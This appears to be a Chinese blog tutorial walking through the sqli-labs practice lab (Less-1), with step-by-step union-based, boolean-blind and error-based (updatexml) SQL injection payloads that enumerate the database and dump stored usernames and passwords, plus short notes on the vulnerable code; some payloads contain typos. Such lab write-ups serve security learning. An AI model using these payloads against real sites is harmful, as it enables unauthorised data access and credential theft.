Union(联合)注入攻击

Union(联合)注入攻击

[在线靶场][http://43.247.91.228:84/Less-1/?id=1]

http://127.0.0.1/sqli-labs/Less-1/?id=1

一、判断是否用'做字符串引号

http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=1 --+

https://blog.csdn.net/qq_41630808/article/details/80570197

正常输出

出错代表没有闭合 说明没有用’可能没有用' 或用了"或()

http://127.0.0.1/sqli-labs/Less-1/?id=1%27and%201=2--+

则是''字符串注入

二、判断它所在的数据库有几列

http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3 --+ 判断是否有3列

正常

http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4 --+ 判断是否有4列

错误

说明它输出的内容所在的数据库有3列

三、判断他显示的内容在数据库的第几列

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

则 Your Login name 在第二列Your Password在第三列

我选择在第二列输出我想要的内容

四、查找出当前用户权限

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+

root权限

五、查找当前数据库

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+

当前数据库是 security

六、查找security的表名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+

表名是 emails,referers,uagents,users

group_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函

数参数(就是字段名)决定

七、查找users里的字段

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+

八、查找用户名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(username,password) from security.users),3 --+

九、查找密码

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(password) from security.users),3 --+

这样 这个就完成了 已经拿到了账号密码

Union (联合) 注入代码分析

在Union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数的ID对应的内容,然后将第一条查询结果中的usernameaddress输出到页面,

由于是将数据输出到页面上的,所以利用Union语句查询其他数据,代码如下:

image

当访问id=1 union select 1,2,3时,执行的SQL语句为:

`Select * from users where ‘id’=1 union select 1,2,3``

此时sql语句可以分为select \* from users where ‘id’=1union select 1,2,3两条,利用第二条语句(Union查询)就可以获取数据库中的数据。

(优化在源码中添加sql语句执行代码)

Boolean (布尔型) 注入攻击

1' and length(database())>=1--+ //判断数据库的长度

l' and substr(database(),1,1)=‘t’ --+ //判断数据库第一个字母的值

l' and substr(database(),2,1)=‘q’ --+ //判断数据库的第二个字母的值

l' and ord(substr(database(),1,1))=115--+ //利用ord和ASCII判断数据库库名

l' and substr(database(),2,1)=’q’--+ //利用substr判断数据库的库名

l' and substr(select table_name from information_schema.table where table_schema=‘sql’ limit 0,1),1,1)=‘e’ --+ //利用substr判断数据库的表名

1. length(str):返回str字符串的长度。

2. substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

3. mid(str,pos,len):跟上面的一样,截取字符串

4. ascii(str):返回字符串str的最左面字符的ASCII代码值。

5. ord(str):同上,返回ascii码

6. if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

Boolean (布尔型)注入代码分析

在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库中查询,

image

当访问id=1‘ or 1=1%23时,数据库执行的语句为selcet * from user where ‘id’=’1’ or 1=1#,由于or 1=1是永真条件,所有此时返回正常。当访问id=1‘ and 1=2%23时,

数据库执行的语句为select * from users where ‘id’ = ‘1’ and 1=2#, 由于and‘1‘ =’2‘ 是永假条件,所有此时页面肯定会返=返回错误。

报错注入攻击

updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //利用updatexml获取user()

‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //利用updatexml获取database()

`‘ and updatexml(1,concat(0x7e,(select select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+** **//****利用报错注入获取数据库库名

‘ and updatexml(1,concat(0x7e,(select select table_name from information_schema.tables where table_schema= ‘security’ limit 0,1),0x7e),1)--+ //利用报错注入获取数据库表名


## 报错注入攻击代码分析


**在报错注入页面中,程序获取GET参数username 后,将username拼接到SQL语句中然后,然后到数据库查询。**

 ![](http://ww1.sinaimg.cn/large/007bHQE8gy1g58lsi2dz3j30ua0a9419.jpg)

   


输入username=1‘时,SQL语句为select * from user where ‘username’=‘1“。执行时会因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor(),updatexml()


等函数将要查询的内容输出到页面上。


 


 

[http://43.247.91.228:84/Less-1/?id=1]:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,590评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,808评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,151评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,779评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,773评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,656评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,022评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,678评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,038评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,756评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,411评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,005评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,973评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,053评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,495评论 2 343

推荐阅读更多精彩内容

  • 第一章 基础知识 在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语...
    江南小虫虫阅读 354评论 0 0
  • 0x1 WAF的常见特征 之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机...
    土拨鼠先生_阅读 735评论 0 0
  • LESS-23 SQL语句$sql="SELECT * FROM users WHERE id='$id' LIM...
    BerL1n阅读 1,846评论 0 2
  • 0x01 什么是SQL注入 sql注入就是一种通过操作输入来修改后台操作语句达到执行恶意sql语句来进行攻击的技术...
    土拨鼠先生_阅读 279评论 0 0
  • 在做题之前可以先参考MYSQL注入天书之stacked injection LESS-38 本关用常用方法都可以爆...
    BerL1n阅读 1,316评论 0 1